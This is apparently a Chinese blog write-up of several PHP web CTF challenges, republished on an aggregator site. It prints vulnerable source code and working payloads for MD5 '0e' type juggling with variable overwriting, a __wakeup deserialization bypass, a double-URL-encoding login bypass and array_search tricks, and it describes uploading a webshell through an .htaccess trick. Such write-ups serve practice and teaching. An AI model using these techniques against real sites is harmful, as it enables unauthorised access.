IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 最近做的题的wp -> 正文阅读

[PHP知识库]最近做的题的wp

variacover

主要考点是变量覆盖

<meta charset="utf-8">
<?php
error_reporting(0);
if (empty($_GET['b'])) {
    show_source(__FILE__);
    die();
}else{
    include('flag.php');
$a = "www.XMAN.com";
$b = $_GET['b'];
@parse_str($b);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) //判断$a[0]的值不是QNKCDZO且$a[0]的MD5值要和QNKCDZO的MD5值相同
{
    echo $flag;
}else{
exit('你的答案不对0.0');
}
}
?>

接受参数的只有变量b,但是需要更改参数a[0]

@parse_str($b)把查询字符串解析到变量中,如果有同名变量,将原来的覆盖。

由于PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

PHP处理0e开头md5哈希字符串缺陷/bug

构造payload:

?b=a[0]=s878926199a

拿到flag ayyctf{318fa61ae531e1778ffa6661c9b1ff06}

upload1

F12 删除前端认证,然后上一句话木马 蚁剑连接拿flag

upload

先bp抓包上传.htaccess文件,将png文件解析为php文件,然后上一句话木马 蚁剑连接拿flag

unserialize3

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

反序列化 利用php中的new 实例化类xctf

<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
    }
}
$a=new xctf();
echo(serialize($a));
?>

获得payload:

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

利用_wakeup()函数漏洞

把1改成2

O:4:"xctf":2:{s:4:"flag";s:3:"111";}

PHP2

没有头绪

扫了一下目录看到了index.phps

拿到源码

<?php
if("admin"===$_GET[id]) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
  echo "<p>Access granted!</p>";
  echo "<p>Key: xxxxxxx </p>";
}
?>

Can you anthenticate to this website?

传一个名为id的参数,参数值必须为经过url编码后的admin

因为url发到服务器那里会自动解码一次

所以需要二次编码

payload:

/index.php?id=%2561%2564%256d%2569%256e

PHP

扫目录拿到index.php~

拿到源码

<?php
$a=0;
$b=0;
$c=0;
if (isset($_GET['aaa']))
{
        $aaa = $_GET['aaa'];
		$aaa=="1"?die("Emmm..."):NULL;
        switch ($aaa)
        {
        case 0:
        case 1:
                $a=1;
                break;
        }
}
$bbb=(array)json_decode(@$_GET['bbb']);
if(is_array($bbb)){
    is_numeric(@$bbb["ccc"])?die("Emmm..."):NULL;
    if(@$bbb["ccc"]){
        ($bbb["ccc"]>2017)?$b=1:NULL;
    }
	if(is_array(@$bbb["ddd"])){
        if(count($bbb["ddd"])!==2 OR !is_array($bbb["ddd"][0])) die("Emmm...");
        $eee = array_search("XMAN", $bbb["ddd"]);
        $eee===false?die("Emmm..."):NULL;
        foreach($bbb["ddd"] as $key=>$val){
            $val==="XMAN"?die("Emmm..."):NULL;
        }
        $c=1;
}
}
if($a && $b && $c){
    include "flag.php";
    echo $flag;
}
?>

三个参数都为1时可以拿到flag

$a:

? witch…case的弱类型比较,可以用1a绕过

$b:

? $bbb[“ccc”]>2017 依然是弱类型比较, 让’ccc’ => ‘2018a’ 即可

$c:

? array_search函数的绕过,

构造payload:

/index.php?aaa=1a&bbb={"ccc":"2018a","ddd":[[""],0]}

拿到flag

ayyctf{a2e43398d5d1a8513b233b2f0f8fa86f}

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-08-19 11:49:47  更:2021-08-19 11:50:48 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/14 22:31:45-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码